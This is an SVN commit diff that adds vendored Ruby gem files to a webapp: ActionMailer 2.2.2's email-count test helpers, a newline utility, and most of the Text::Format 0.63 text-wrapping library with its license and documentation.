--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/test_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/test_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,67 @@
+module ActionMailer
+  module TestHelper
+    # Asserts that the number of emails sent matches the given number.
+    #
+    #   def test_emails
+    #     assert_emails 0
+    #     ContactMailer.deliver_contact
+    #     assert_emails 1
+    #     ContactMailer.deliver_contact
+    #     assert_emails 2
+    #   end
+    #
+    # If a block is passed, that block should cause the specified number of emails to be sent.
+    #
+    #   def test_emails_again
+    #     assert_emails 1 do
+    #       ContactMailer.deliver_contact
+    #     end
+    #
+    #     assert_emails 2 do
+    #       ContactMailer.deliver_contact
+    #       ContactMailer.deliver_contact
+    #     end
+    #   end
+    def assert_emails(number)
+      if block_given?
+        original_count = ActionMailer::Base.deliveries.size
+        yield
+        new_count = ActionMailer::Base.deliveries.size
+        assert_equal original_count + number, new_count, "#{number} emails expected, but #{new_count - original_count} were sent"
+      else
+        assert_equal number, ActionMailer::Base.deliveries.size
+      end
+    end
+
+    # Assert that no emails have been sent.
+    #
+    #   def test_emails
+    #     assert_no_emails
+    #     ContactMailer.deliver_contact
+    #     assert_emails 1
+    #   end
+    #
+    # If a block is passed, that block should not cause any emails to be sent.
+    #
+    #   def test_emails_again
+    #     assert_no_emails do
+    #       # No emails should be sent from this block
+    #     end
+    #   end
+    #
+    # Note: This assertion is simply a shortcut for:
+    #
+    #   assert_emails 0
+    def assert_no_emails(&block)
+      assert_emails 0, &block
+    end
+  end
+end
+
+module Test
+  module Unit
+    class TestCase
+      include ActionMailer::TestHelper
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/utils.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/utils.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/utils.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+module ActionMailer
+  module Utils #:nodoc:
+    def normalize_new_lines(text)
+      text.to_s.gsub(/\r\n?/, "\n")
+    end
+    module_function :normalize_new_lines
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1466 @@
+#--
+# Text::Format for Ruby
+# Version 0.63
+#
+# Copyright (c) 2002 - 2003 Austin Ziegler
+#
+# $Id: format.rb,v 1.1.1.1 2004/10/14 11:59:57 webster132 Exp $
+#
+# ==========================================================================
+# Revision History ::
+# YYYY.MM.DD  Change ID   Developer
+#             Description
+# --------------------------------------------------------------------------
+# 2002.10.18              Austin Ziegler
+#             Fixed a minor problem with tabs not being counted. Changed
+#             abbreviations from Hash to Array to better suit Ruby's
+#             capabilities. Fixed problems with the way that Array arguments
+#             are handled in calls to the major object types, excepting in
+#             Text::Format#expand and Text::Format#unexpand (these will
+#             probably need to be fixed).
+# 2002.10.30              Austin Ziegler
+#             Fixed the ordering of the <=> for binary tests. Fixed
+#             Text::Format#expand and Text::Format#unexpand to handle array
+#             arguments better.
+# 2003.01.24              Austin Ziegler
+#             Fixed a problem with Text::Format::RIGHT_FILL handling where a
+#             single word is larger than #columns. Removed Comparable
+#             capabilities (<=> doesn't make sense; == does). Added Symbol
+#             equivalents for the Hash initialization. Hash initialization has
+#             been modified so that values are set as follows (Symbols are
+#             highest priority; strings are middle; defaults are lowest):
+#                 @columns = arg[:columns] || arg['columns'] || @columns
+#             Added #hard_margins, #split_rules, #hyphenator, and #split_words.
+# 2003.02.07              Austin Ziegler
+#             Fixed the installer for proper case-sensitive handling.
+# 2003.03.28              Austin Ziegler
+#             Added the ability for a hyphenator to receive the formatter
+#             object. Fixed a bug for strings matching /\A\s*\Z/ failing
+#             entirely. Fixed a test case failing under 1.6.8. 
+# 2003.04.04              Austin Ziegler
+#             Handle the case of hyphenators returning nil for first/rest.
+# 2003.09.17          Austin Ziegler
+#             Fixed a problem where #paragraphs(" ") was raising
+#             NoMethodError.
+#
+# ==========================================================================
+#++
+
+module Text #:nodoc:
+   # Text::Format for Ruby is copyright 2002 - 2005 by Austin Ziegler. It
+   # is available under Ruby's licence, the Perl Artistic licence, or the
+   # GNU GPL version 2 (or at your option, any later version). As a
+   # special exception, for use with official Rails (provided by the
+   # rubyonrails.org development team) and any project created with
+   # official Rails, the following alternative MIT-style licence may be
+   # used:
+   #
+   # == Text::Format Licence for Rails and Rails Applications
+   # Permission is hereby granted, free of charge, to any person
+   # obtaining a copy of this software and associated documentation files
+   # (the "Software"), to deal in the Software without restriction,
+   # including without limitation the rights to use, copy, modify, merge,
+   # publish, distribute, sublicense, and/or sell copies of the Software,
+   # and to permit persons to whom the Software is furnished to do so,
+   # subject to the following conditions:
+   #
+   # * The names of its contributors may not be used to endorse or
+   #   promote products derived from this software without specific prior
+   #   written permission.
+   #
+   # The above copyright notice and this permission notice shall be
+   # included in all copies or substantial portions of the Software.
+   #
+   # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+   # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+   # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+   # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+   # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+   # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+   # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+   # SOFTWARE.  
+   class Format
+    VERSION = '0.63'
+
+      # Local abbreviations. More can be added with Text::Format.abbreviations
+    ABBREV = [ 'Mr', 'Mrs', 'Ms', 'Jr', 'Sr' ]
+
+      # Formatting values
+    LEFT_ALIGN  = 0
+    RIGHT_ALIGN = 1
+    RIGHT_FILL  = 2
+    JUSTIFY     = 3
+
+      # Word split modes (only applies when #hard_margins is true).
+    SPLIT_FIXED                     = 1
+    SPLIT_CONTINUATION              = 2
+    SPLIT_HYPHENATION               = 4
+    SPLIT_CONTINUATION_FIXED        = SPLIT_CONTINUATION | SPLIT_FIXED
+    SPLIT_HYPHENATION_FIXED         = SPLIT_HYPHENATION | SPLIT_FIXED
+    SPLIT_HYPHENATION_CONTINUATION  = SPLIT_HYPHENATION | SPLIT_CONTINUATION
+    SPLIT_ALL                       = SPLIT_HYPHENATION | SPLIT_CONTINUATION | SPLIT_FIXED
+
+      # Words forcibly split by Text::Format will be stored as split words.
+      # This class represents a word forcibly split.
+    class SplitWord
+        # The word that was split.
+      attr_reader :word
+        # The first part of the word that was split.
+      attr_reader :first
+        # The remainder of the word that was split.
+      attr_reader :rest
+
+      def initialize(word, first, rest) #:nodoc:
+        @word = word
+        @first = first
+        @rest = rest
+      end
+    end
+
+  private
+    LEQ_RE = /[.?!]['"]?$/
+
+    def brk_re(i) #:nodoc:
+      %r/((?:\S+\s+){#{i}})(.+)/
+    end
+
+    def posint(p) #:nodoc:
+      p.to_i.abs
+    end
+
+  public
+      # Compares two Text::Format objects. All settings of the objects are
+      # compared *except* #hyphenator. Generated results (e.g., #split_words)
+      # are not compared, either.
+    def ==(o)
+      (@text          ==  o.text)           &&
+      (@columns       ==  o.columns)        &&
+      (@left_margin   ==  o.left_margin)    &&
+      (@right_margin  ==  o.right_margin)   &&
+      (@hard_margins  ==  o.hard_margins)   &&
+      (@split_rules   ==  o.split_rules)    &&
+      (@first_indent  ==  o.first_indent)   &&
+      (@body_indent   ==  o.body_indent)    &&
+      (@tag_text      ==  o.tag_text)       &&
+      (@tabstop       ==  o.tabstop)        &&
+      (@format_style  ==  o.format_style)   &&
+      (@extra_space   ==  o.extra_space)    &&
+      (@tag_paragraph ==  o.tag_paragraph)  &&
+      (@nobreak       ==  o.nobreak)        &&
+      (@abbreviations ==  o.abbreviations)  &&
+      (@nobreak_regex ==  o.nobreak_regex)
+    end
+
+      # The text to be manipulated. Note that value is optional, but if the
+      # formatting functions are called without values, this text is what will
+      # be formatted.
+      #
+      # *Default*::       <tt>[]</tt>
+      # <b>Used in</b>::  All methods
+    attr_accessor :text
+
+      # The total width of the format area. The margins, indentation, and text
+      # are formatted into this space.
+      #
+      #                             COLUMNS
+      #  <-------------------------------------------------------------->
+      #  <-----------><------><---------------------------><------------>
+      #   left margin  indent  text is formatted into here  right margin
+      #
+      # *Default*::       <tt>72</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
+      #                   <tt>#center</tt>
+    attr_reader :columns
+
+      # The total width of the format area. The margins, indentation, and text
+      # are formatted into this space. The value provided is silently
+      # converted to a positive integer.
+      #
+      #                             COLUMNS
+      #  <-------------------------------------------------------------->
+      #  <-----------><------><---------------------------><------------>
+      #   left margin  indent  text is formatted into here  right margin
+      #
+      # *Default*::       <tt>72</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
+      #                   <tt>#center</tt>
+    def columns=(c)
+      @columns = posint(c)
+    end
+
+      # The number of spaces used for the left margin.
+      #
+      #                             columns
+      #  <-------------------------------------------------------------->
+      #  <-----------><------><---------------------------><------------>
+      #   LEFT MARGIN  indent  text is formatted into here  right margin
+      #
+      # *Default*::       <tt>0</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
+      #                   <tt>#center</tt>
+    attr_reader :left_margin
+
+      # The number of spaces used for the left margin. The value provided is
+      # silently converted to a positive integer value.
+      #
+      #                             columns
+      #  <-------------------------------------------------------------->
+      #  <-----------><------><---------------------------><------------>
+      #   LEFT MARGIN  indent  text is formatted into here  right margin
+      #
+      # *Default*::       <tt>0</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
+      #                   <tt>#center</tt>
+    def left_margin=(left)
+      @left_margin = posint(left)
+    end
+
+      # The number of spaces used for the right margin.
+      #
+      #                             columns
+      #  <-------------------------------------------------------------->
+      #  <-----------><------><---------------------------><------------>
+      #   left margin  indent  text is formatted into here  RIGHT MARGIN
+      #
+      # *Default*::       <tt>0</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
+      #                   <tt>#center</tt>
+    attr_reader :right_margin
+
+      # The number of spaces used for the right margin. The value provided is
+      # silently converted to a positive integer value.
+      #
+      #                             columns
+      #  <-------------------------------------------------------------->
+      #  <-----------><------><---------------------------><------------>
+      #   left margin  indent  text is formatted into here  RIGHT MARGIN
+      #
+      # *Default*::       <tt>0</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
+      #                   <tt>#center</tt>
+    def right_margin=(r)
+      @right_margin = posint(r)
+    end
+
+      # The number of spaces to indent the first line of a paragraph.
+      #
+      #                             columns
+      #  <-------------------------------------------------------------->
+      #  <-----------><------><---------------------------><------------>
+      #   left margin  INDENT  text is formatted into here  right margin
+      #
+      # *Default*::       <tt>4</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_reader :first_indent
+
+      # The number of spaces to indent the first line of a paragraph. The
+      # value provided is silently converted to a positive integer value.
+      #
+      #                             columns
+      #  <-------------------------------------------------------------->
+      #  <-----------><------><---------------------------><------------>
+      #   left margin  INDENT  text is formatted into here  right margin
+      #
+      # *Default*::       <tt>4</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    def first_indent=(f)
+      @first_indent = posint(f)
+    end
+
+      # The number of spaces to indent all lines after the first line of a
+      # paragraph.
+      #
+      #                             columns
+      #  <-------------------------------------------------------------->
+      #  <-----------><------><---------------------------><------------>
+      #   left margin  INDENT  text is formatted into here  right margin
+      #
+      # *Default*::       <tt>0</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+  attr_reader :body_indent
+
+      # The number of spaces to indent all lines after the first line of
+      # a paragraph. The value provided is silently converted to a
+      # positive integer value.
+      #
+      #                             columns
+      #  <-------------------------------------------------------------->
+      #  <-----------><------><---------------------------><------------>
+      #   left margin  INDENT  text is formatted into here  right margin
+      #
+      # *Default*::       <tt>0</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    def body_indent=(b)
+      @body_indent = posint(b)
+    end
+
+      # Normally, words larger than the format area will be placed on a line
+      # by themselves. Setting this to +true+ will force words larger than the
+      # format area to be split into one or more "words" each at most the size
+      # of the format area. The first line and the original word will be
+      # placed into <tt>#split_words</tt>. Note that this will cause the
+      # output to look *similar* to a #format_style of JUSTIFY. (Lines will be
+      # filled as much as possible.)
+      #
+      # *Default*::       +false+
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_accessor :hard_margins
+
+      # An array of words split during formatting if #hard_margins is set to
+      # +true+.
+      #   #split_words << Text::Format::SplitWord.new(word, first, rest)
+    attr_reader :split_words
+
+      # The object responsible for hyphenating. It must respond to
+      # #hyphenate_to(word, size) or #hyphenate_to(word, size, formatter) and
+      # return an array of the word split into two parts; if there is a
+      # hyphenation mark to be applied, responsibility belongs to the
+      # hyphenator object. The size is the MAXIMUM size permitted, including
+      # any hyphenation marks. If the #hyphenate_to method has an arity of 3,
+      # the formatter will be provided to the method. This allows the
+      # hyphenator to make decisions about the hyphenation based on the
+      # formatting rules.
+      #
+      # *Default*::       +nil+
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_reader :hyphenator
+
+      # The object responsible for hyphenating. It must respond to
+      # #hyphenate_to(word, size) and return an array of the word hyphenated
+      # into two parts. The size is the MAXIMUM size permitted, including any
+      # hyphenation marks.
+      #
+      # *Default*::       +nil+
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    def hyphenator=(h)
+      raise ArgumentError, "#{h.inspect} is not a valid hyphenator." unless h.respond_to?(:hyphenate_to)
+      arity = h.method(:hyphenate_to).arity
+      raise ArgumentError, "#{h.inspect} must have exactly two or three arguments." unless [2, 3].include?(arity)
+      @hyphenator = h
+      @hyphenator_arity = arity
+    end
+
+      # Specifies the split mode; used only when #hard_margins is set to
+      # +true+. Allowable values are:
+      # [+SPLIT_FIXED+]         The word will be split at the number of
+      #                         characters needed, with no marking at all.
+      #      repre
+      #      senta
+      #      ion
+      # [+SPLIT_CONTINUATION+]  The word will be split at the number of
+      #                         characters needed, with a C-style continuation
+      #                         character. If a word is the only item on a
+      #                         line and it cannot be split into an
+      #                         appropriate size, SPLIT_FIXED will be used.
+      #       repr\
+      #       esen\
+      #       tati\
+      #       on
+      # [+SPLIT_HYPHENATION+]   The word will be split according to the
+      #                         hyphenator specified in #hyphenator. If there
+      #                         is no #hyphenator specified, works like
+      #                         SPLIT_CONTINUATION. The example is using
+      #                         TeX::Hyphen. If a word is the only item on a
+      #                         line and it cannot be split into an
+      #                         appropriate size, SPLIT_CONTINUATION mode will
+      #                         be used.
+      #       rep-
+      #       re-
+      #       sen-
+      #       ta-
+      #       tion
+      #
+      # *Default*::       <tt>Text::Format::SPLIT_FIXED</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_reader :split_rules
+
+      # Specifies the split mode; used only when #hard_margins is set to
+      # +true+. Allowable values are:
+      # [+SPLIT_FIXED+]         The word will be split at the number of
+      #                         characters needed, with no marking at all.
+      #      repre
+      #      senta
+      #      ion
+      # [+SPLIT_CONTINUATION+]  The word will be split at the number of
+      #                         characters needed, with a C-style continuation
+      #                         character.
+      #       repr\
+      #       esen\
+      #       tati\
+      #       on
+      # [+SPLIT_HYPHENATION+]   The word will be split according to the
+      #                         hyphenator specified in #hyphenator. If there
+      #                         is no #hyphenator specified, works like
+      #                         SPLIT_CONTINUATION. The example is using
+      #                         TeX::Hyphen as the #hyphenator.
+      #       rep-
+      #       re-
+      #       sen-
+      #       ta-
+      #       tion
+      #
+      # These values can be bitwise ORed together (e.g., <tt>SPLIT_FIXED |
+      # SPLIT_CONTINUATION</tt>) to provide fallback split methods. In the
+      # example given, an attempt will be made to split the word using the
+      # rules of SPLIT_CONTINUATION; if there is not enough room, the word
+      # will be split with the rules of SPLIT_FIXED. These combinations are
+      # also available as the following values:
+      # * +SPLIT_CONTINUATION_FIXED+
+      # * +SPLIT_HYPHENATION_FIXED+
+      # * +SPLIT_HYPHENATION_CONTINUATION+
+      # * +SPLIT_ALL+
+      #
+      # *Default*::       <tt>Text::Format::SPLIT_FIXED</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    def split_rules=(s)
+      raise ArgumentError, "Invalid value provided for split_rules." if ((s < SPLIT_FIXED) || (s > SPLIT_ALL))
+      @split_rules = s
+    end
+
+      # Indicates whether sentence terminators should be followed by a single
+      # space (+false+), or two spaces (+true+).
+      #
+      # *Default*::       +false+
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_accessor :extra_space
+
+      # Defines the current abbreviations as an array. This is only used if
+      # extra_space is turned on.
+      #
+      # If one is abbreviating "President" as "Pres." (abbreviations =
+      # ["Pres"]), then the results of formatting will be as illustrated in
+      # the table below:
+      #
+      #       extra_space  |  include?        |  !include?
+      #         true       |  Pres. Lincoln   |  Pres.  Lincoln
+      #         false      |  Pres. Lincoln   |  Pres. Lincoln
+      #
+      # *Default*::       <tt>{}</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_accessor :abbreviations
+
+      # Indicates whether the formatting of paragraphs should be done with
+      # tagged paragraphs. Useful only with <tt>#tag_text</tt>.
+      #
+      # *Default*::       +false+
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_accessor :tag_paragraph
+
+      # The array of text to be placed before each paragraph when
+      # <tt>#tag_paragraph</tt> is +true+. When <tt>#format()</tt> is called,
+      # only the first element of the array is used. When <tt>#paragraphs</tt>
+      # is called, then each entry in the array will be used once, with
+      # corresponding paragraphs. If the tag elements are exhausted before the
+      # text is exhausted, then the remaining paragraphs will not be tagged.
+      # Regardless of indentation settings, a blank line will be inserted
+      # between all paragraphs when <tt>#tag_paragraph</tt> is +true+.
+      #
+      # *Default*::       <tt>[]</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_accessor :tag_text
+
+      # Indicates whether or not the non-breaking space feature should be
+      # used.
+      #
+      # *Default*::       +false+
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_accessor :nobreak
+
+      # A hash which holds the regular expressions on which spaces should not
+      # be broken. The hash is set up such that the key is the first word and
+      # the value is the second word.
+      #
+      # For example, if +nobreak_regex+ contains the following hash:
+      #
+      #   { '^Mrs?\.$' => '\S+$', '^\S+$' => '^(?:S|J)r\.$'}
+      #
+      # Then "Mr. Jones", "Mrs. Jones", and "Jones Jr." would not be broken.
+      # If this simple matching algorithm indicates that there should not be a
+      # break at the current end of line, then a backtrack is done until there
+      # are two words on which line breaking is permitted. If two such words
+      # are not found, then the end of the line will be broken *regardless*.
+      # If there is a single word on the current line, then no backtrack is
+      # done and the word is stuck on the end.
+      #
+      # *Default*::       <tt>{}</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_accessor :nobreak_regex
+
+      # Indicates the number of spaces that a single tab represents.
+      #
+      # *Default*::       <tt>8</tt>
+      # <b>Used in</b>::  <tt>#expand</tt>, <tt>#unexpand</tt>,
+      #                   <tt>#paragraphs</tt>
+    attr_reader :tabstop
+
+      # Indicates the number of spaces that a single tab represents.
+      #
+      # *Default*::       <tt>8</tt>
+      # <b>Used in</b>::  <tt>#expand</tt>, <tt>#unexpand</tt>,
+      #                   <tt>#paragraphs</tt>
+    def tabstop=(t)
+      @tabstop = posint(t)
+    end
+
+      # Specifies the format style. Allowable values are:
+      # [+LEFT_ALIGN+]    Left justified, ragged right.
+      #      |A paragraph that is|
+      #      |left aligned.|
+      # [+RIGHT_ALIGN+]   Right justified, ragged left.
+      #      |A paragraph that is|
+      #      |     right aligned.|
+      # [+RIGHT_FILL+]    Left justified, right ragged, filled to width by
+      #                   spaces. (Essentially the same as +LEFT_ALIGN+ except
+      #                   that lines are padded on the right.)
+      #      |A paragraph that is|
+      #      |left aligned.      |
+      # [+JUSTIFY+]       Fully justified, words filled to width by spaces,
+      #                   except the last line.
+      #      |A paragraph  that|
+      #      |is     justified.|
+      #
+      # *Default*::       <tt>Text::Format::LEFT_ALIGN</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    attr_reader :format_style
+
+      # Specifies the format style. Allowable values are:
+      # [+LEFT_ALIGN+]    Left justified, ragged right.
+      #      |A paragraph that is|
+      #      |left aligned.|
+      # [+RIGHT_ALIGN+]   Right justified, ragged left.
+      #      |A paragraph that is|
+      #      |     right aligned.|
+      # [+RIGHT_FILL+]    Left justified, right ragged, filled to width by
+      #                   spaces. (Essentially the same as +LEFT_ALIGN+ except
+      #                   that lines are padded on the right.)
+      #      |A paragraph that is|
+      #      |left aligned.      |
+      # [+JUSTIFY+]       Fully justified, words filled to width by spaces.
+      #      |A paragraph  that|
+      #      |is     justified.|
+      #
+      # *Default*::       <tt>Text::Format::LEFT_ALIGN</tt>
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    def format_style=(fs)
+      raise ArgumentError, "Invalid value provided for format_style." if ((fs < LEFT_ALIGN) || (fs > JUSTIFY))
+      @format_style = fs
+    end
+
+      # Indicates that the format style is left alignment.
+      #
+      # *Default*::       +true+
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    def left_align?
+      return @format_style == LEFT_ALIGN
+    end
+
+      # Indicates that the format style is right alignment.
+      #
+      # *Default*::       +false+
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    def right_align?
+      return @format_style == RIGHT_ALIGN
+    end
+
+      # Indicates that the format style is right fill.
+      #
+      # *Default*::       +false+
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    def right_fill?
+      return @format_style == RIGHT_FILL
+    end
+
+      # Indicates that the format style is full justification.
+      #
+      # *Default*::       +false+
+      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
+    def justify?
+      return @format_style == JUSTIFY
+    end
+
+      # The default implementation of #hyphenate_to implements
+      # SPLIT_CONTINUATION.
+    def hyphenate_to(word, size)
+      [word[0 .. (size - 2)] + "\\", word[(size - 1) .. -1]]
+    end
+
+  private
+    def __do_split_word(word, size) #:nodoc:
+      [word[0 .. (size - 1)], word[size .. -1]]
+    end
+
+    def __format(to_wrap) #:nodoc:
+      words = to_wrap.split(/\s+/).compact
+      words.shift if words[0].nil? or words[0].empty?
+      to_wrap = []
+
+      abbrev = false
+      width = @columns - @first_indent - @left_margin - @right_margin
+      indent_str = ' ' * @first_indent
+      first_line = true
+      line = words.shift
+      abbrev = __is_abbrev(line) unless line.nil? || line.empty?
+
+      while w = words.shift
+        if (w.size + line.size < (width - 1)) ||
+           ((line !~ LEQ_RE || abbrev) && (w.size + line.size < width))
+          line << " " if (line =~ LEQ_RE) && (not abbrev)
+          line << " #{w}"
+        else
+          line, w = __do_break(line, w) if @nobreak
+          line, w = __do_hyphenate(line, w, width) if @hard_margins
+          if w.index(/\s+/)
+            w, *w2 = w.split(/\s+/)
+            words.unshift(w2)
+            words.flatten!
+          end
+          to_wrap << __make_line(line, indent_str, width, w.nil?) unless line.nil?
+          if first_line
+            first_line = false
+            width = @columns - @body_indent - @left_margin - @right_margin
+            indent_str = ' ' * @body_indent
+          end
+          line = w
+        end
+
+        abbrev = __is_abbrev(w) unless w.nil?
+      end
+
+      loop do
+        break if line.nil? or line.empty?
+        line, w = __do_hyphenate(line, w, width) if @hard_margins
+        to_wrap << __make_line(line, indent_str, width, w.nil?)
+        line = w
+      end
+
+      if (@tag_paragraph && (to_wrap.size > 0)) then
+        clr = %r{`(\w+)'}.match([caller(1)].flatten[0])[1]
+        clr = "" if clr.nil?
+
+        if ((not @tag_text[0].nil?) && (@tag_cur.size < 1) &&
+            (clr != "__paragraphs")) then
+          @tag_cur = @tag_text[0]
+        end
+
+        fchar = /(\S)/.match(to_wrap[0])[1]
+        white = to_wrap[0].index(fchar)
+        if ((white - @left_margin - 1) > @tag_cur.size) then
+          white = @tag_cur.size + @left_margin
+          to_wrap[0].gsub!(/^ {#{white}}/, "#{' ' * @left_margin}#{@tag_cur}")
+        else
+          to_wrap.unshift("#{' ' * @left_margin}#{@tag_cur}\n")
+        end
+      end
+      to_wrap.join('')
+    end
+
+      # format lines in text into paragraphs with each element of @wrap a
+      # paragraph; uses Text::Format.format for the formatting
+    def __paragraphs(to_wrap) #:nodoc:
+      if ((@first_indent == @body_indent) || @tag_paragraph) then
+        p_end = "\n"
+      else
+        p_end = ''
+      end
+
+      cnt = 0
+      ret = []
+      to_wrap.each do |tw|
+        @tag_cur = @tag_text[cnt] if @tag_paragraph
+        @tag_cur = '' if @tag_cur.nil?
+        line = __format(tw)
+        ret << "#{line}#{p_end}" if (not line.nil?) && (line.size > 0)
+        cnt += 1
+      end
+
+      ret[-1].chomp! unless ret.empty?
+      ret.join('')
+    end
+
+      # center text using spaces on left side to pad it out empty lines
+      # are preserved
+    def __center(to_center) #:nodoc:
+      tabs = 0
+      width = @columns - @left_margin - @right_margin
+      centered = []
+      to_center.each do |tc|
+        s = tc.strip
+        tabs = s.count("\t")
+        tabs = 0 if tabs.nil?
+        ct = ((width - s.size - (tabs * @tabstop) + tabs) / 2)
+        ct = (width - @left_margin - @right_margin) - ct
+        centered << "#{s.rjust(ct)}\n"
+      end
+      centered.join('')
+    end
+
+      # expand tabs to spaces should be similar to Text::Tabs::expand
+    def __expand(to_expand) #:nodoc:
+      expanded = []
+      to_expand.split("\n").each { |te| expanded << te.gsub(/\t/, ' ' * @tabstop) }
+      expanded.join('')
+    end
+
+    def __unexpand(to_unexpand) #:nodoc:
+      unexpanded = []
+      to_unexpand.split("\n").each { |tu| unexpanded << tu.gsub(/ {#{@tabstop}}/, "\t") }
+      unexpanded.join('')
+    end
+
+    def __is_abbrev(word) #:nodoc:
+        # remove period if there is one.
+      w = word.gsub(/\.$/, '') unless word.nil?
+      return true if (!@extra_space || ABBREV.include?(w) || @abbreviations.include?(w))
+      false
+    end
+
+    def __make_line(line, indent, width, last = false) #:nodoc:
+      lmargin = " " * @left_margin
+      fill = " " * (width - line.size) if right_fill? && (line.size <= width)
+
+      if (justify? && ((not line.nil?) && (not line.empty?)) && line =~ /\S+\s+\S+/ && !last)
+        spaces = width - line.size
+        words = line.split(/(\s+)/)
+        ws = spaces / (words.size / 2)
+        spaces = spaces % (words.size / 2) if ws > 0
+        words.reverse.each do |rw|
+          next if (rw =~ /^\S/)
+          rw.sub!(/^/, " " * ws)
+          next unless (spaces > 0)
+          rw.sub!(/^/, " ")
+          spaces -= 1
+        end
+        line = words.join('')
+      end
+      line = "#{lmargin}#{indent}#{line}#{fill}\n" unless line.nil?
+      if right_align? && (not line.nil?)
+        line.sub(/^/, " " * (@columns - @right_margin - (line.size - 1)))
+      else
+        line
+      end
+    end
+
+    def __do_hyphenate(line, next_line, width) #:nodoc:
+      rline = line.dup rescue line
+      rnext = next_line.dup rescue next_line
+      loop do
+        if rline.size == width
+          break
+        elsif rline.size > width
+          words = rline.strip.split(/\s+/)
+          word = words[-1].dup
+          size = width - rline.size + word.size
+          if (size <= 0)
+            words[-1] = nil
+            rline = words.join(' ').strip
+            rnext = "#{word} #{rnext}".strip
+            next
+          end
+
+          first = rest = nil
+
+          if ((@split_rules & SPLIT_HYPHENATION) != 0)
+            if @hyphenator_arity == 2
+              first, rest = @hyphenator.hyphenate_to(word, size)
+            else
+              first, rest = @hyphenator.hyphenate_to(word, size, self)
+            end
+          end
+
+          if ((@split_rules & SPLIT_CONTINUATION) != 0) and first.nil?
+            first, rest = self.hyphenate_to(word, size)
+          end
+
+          if ((@split_rules & SPLIT_FIXED) != 0) and first.nil?
+            first.nil? or @split_rules == SPLIT_FIXED
+            first, rest = __do_split_word(word, size)
+          end
+
+          if first.nil?
+            words[-1] = nil
+            rest = word
+          else
+            words[-1] = first
+            @split_words << SplitWord.new(word, first, rest)
+          end
+          rline = words.join(' ').strip
+          rnext = "#{rest} #{rnext}".strip
+          break
+        else
+          break if rnext.nil? or rnext.empty? or rline.nil? or rline.empty?
+          words = rnext.split(/\s+/)
+          word = words.shift
+          size = width - rline.size - 1
+
+          if (size <= 0)
+            rnext = "#{word} #{words.join(' ')}".strip
+            break
+          end
+
+          first = rest = nil
+
+          if ((@split_rules & SPLIT_HYPHENATION) != 0)
+            if @hyphenator_arity == 2
+              first, rest = @hyphenator.hyphenate_to(word, size)
+            else
+              first, rest = @hyphenator.hyphenate_to(word, size, self)
+            end
+          end
+
